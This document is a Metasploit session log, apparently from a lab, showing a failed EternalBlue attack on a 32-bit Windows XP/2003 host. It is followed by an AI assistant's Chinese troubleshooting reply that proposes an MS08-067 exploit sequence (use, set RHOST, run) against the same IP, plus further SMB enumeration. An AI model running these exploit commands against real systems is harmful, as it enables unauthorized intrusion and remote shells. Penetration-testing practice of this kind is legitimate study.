msf6 exploit(windows/smb/ms17_010_eternalblue) > nmap -O 192.168.200.129 [*] exec: nmap -O 192.168.200.129 Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-20 21:32 EDT Nmap scan report for 192.168.200.129 Host is up (0.00026s latency). Not shown: 992 closed tcp ports (reset) PORT STATE SERVICE 25/tcp open smtp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1433/tcp open ms-sql-s MAC Address: 00:0C:29:1B:D6:5A (VMware) Device type: general purpose Running: Microsoft Windows XP|2003 OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003 OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003 Network Distance: 1 hop OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 2.32 seconds msf6 exploit(windows/smb/ms17_010_eternalblue) > set rport 445 rport => 445 msf6 exploit(windows/smb/ms17_010_eternalblue) > run [*] Started reverse TCP handler on 192.168.200.208:4444 [*] 192.168.200.129:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.200.129:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit) [*] 192.168.200.129:445 - Scanned 1 of 1 hosts (100% complete) [+] 192.168.200.129:445 - The target is vulnerable. [-] 192.168.200.129:445 - Exploit aborted due to failure: no-target: This module only supports x64 (64-bit) targets [*] Exploit completed, but no session was created.

<think>好的，我现在需要帮助用户分析他们提供的渗透测试过程，并解释为什么攻击失败。首先，用户在使用Metasploit的永恒之蓝漏洞（ms17_010_eternalblue）进行攻击时遇到了问题，最终没有成功创建会话。让我逐步拆解整个过程，找出可能的原因。 首先，用户一开始在msf6的漏洞模块下执行了nmap -O 192.168.200.129。从nmap的结果来看，目标主机开放了多个端口，包括445（microsoft-ds），这通常是SMB服务使用的端口，而永恒之蓝漏洞正是利用SMB协议的。所以用户正确地将目标指向了这个端口。nmap的操作系统检测结果显示目标可能运行的是Windows XP SP2或Windows Server 2003，这些系统都是32位的。这一点很重要，因为后续的漏洞利用是否支持32位系统会直接影响结果。 接下来，用户设置了rport为445，这是正确的，因为SMB服务通常在此端口监听。然后执行run开始攻击。根据输出，Metasploit首先使用辅助模块scanner/smb/smb_ms17_010进行漏洞检查，确认目标存在漏洞。这里显示目标系统是Windows 5.1 x86，即32位的Windows XP或Server 2003。然而，问题出现在最后一步：模块报告“Exploit aborted due to failure: no-target: This module only supports x64 (64-bit) targets”，说明该漏洞利用模块仅支持64位系统，而目标系统是32位的，因此攻击被中止。 现在需要确认几个关键点： 1. Metasploit的ms17_010_eternalblue模块是否确实不支持32位目标？查阅文档或模块信息，确认其目标架构。根据错误信息，模块仅支持x64，所以可能该模块设计时只针对64位系统，比如Windows 7或更高版本，而用户的目标是较旧的32位系统。 2. 是否存在针对32位系统的永恒之蓝漏洞利用模块？可能用户需要切换另一个模块，或者调整参数。例如，有些情况下可能需要手动设置目标类型，但该模块可能没有包含32位的目标配置。 3. 是否有其他模块可用？比如，检查是否有其他相关漏洞利用模块适用于32位系统。例如，可能使用另一个利用程序，或者同一个模块的不同设置。 此外，用户可能忽略了在设置漏洞利用时的目标选项。在Metasploit中，某些模块允许使用“show targets”命令查看支持的目标系统，然后使用“set target <编号>”来指定。但根据错误信息，模块本身可能不支持32位，因此即使尝试设置目标也可能无效。 解决方案可能包括： - 检查是否有更新版本的模块支持32位系统，或者寻找替代的利用模块。 - 如果目标确实是32位且无法更改，可能需要使用其他漏洞或方法进行攻击，例如使用不同的漏洞利用，或者结合其他攻击手法。 - 用户可能需要确认目标系统的确切版本，是否有可能误判。比如，虽然nmap检测为32位，是否有可能实际是64位？但根据输出中的OS CPE，显示的是Windows XP SP2或2003，这两个系统通常都是32位的。 总结问题根源：用户使用的Metasploit模块仅支持64位系统，而目标为32位，导致攻击失败。需要调整利用模块或选择其他适合32位系统的攻击途径。</think>以下是逐步分析与解决方案： 1. **漏洞检测阶段** - 使用`nmap -O`确认目标IP开放端口及操作系统： $$ \text{目标系统为Windows XP SP2或Server 2003（32位）} $$ - 关键端口`445/tcp`开放，符合永恒之蓝漏洞利用条件。 2. **漏洞验证阶段** - Metasploit的`smb_ms17_010`检测确认目标存在漏洞： $$ \text{主机状态：VULNERABLE} $$ - 但系统架构检测为`x86 (32-bit)`，与模块要求冲突。 3. **攻击失败原因** - 错误信息明确提示： $$ \text{This module only supports x64 (64-bit) targets} $$ - 当前模块`ms17_010_eternalblue`仅支持64位系统，无法攻击32位目标。 4. **解决方案** - **方案1：更换利用模块** - 查找支持32位系统的永恒之蓝利用模块。例如，某些旧版模块可能兼容，但需验证有效性。 - 在Metasploit中尝试以下命令： ```bash search eternalblue # 检查其他模块是否支持32位（例如 auxiliary/admin/smb/ms17_010_command） ``` - **方案2：手动指定目标参数（若模块支持）** - 使用`show targets`查看模块支持的目标列表： ```bash msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets ``` - 若列表不含32位选项，则此路不通。 - **方案3：使用其他漏洞利用** - 针对Windows XP/2003的其他漏洞（如MS08-067）： ```bash use exploit/windows/smb/ms08_067_netapi set RHOST 192.168.200.129 run ``` 5. **补充建议** - **验证目标架构准确性**： 使用`nmap -sV --script smb-os-discovery 192.168.200.129`进一步确认系统信息。 - **更新Metasploit框架**： 确保模块为最新版本，可能存在新增的32位支持。 **总结**：当前失败原因是模块与目标架构不匹配。需更换利用模块或调整目标系统选择。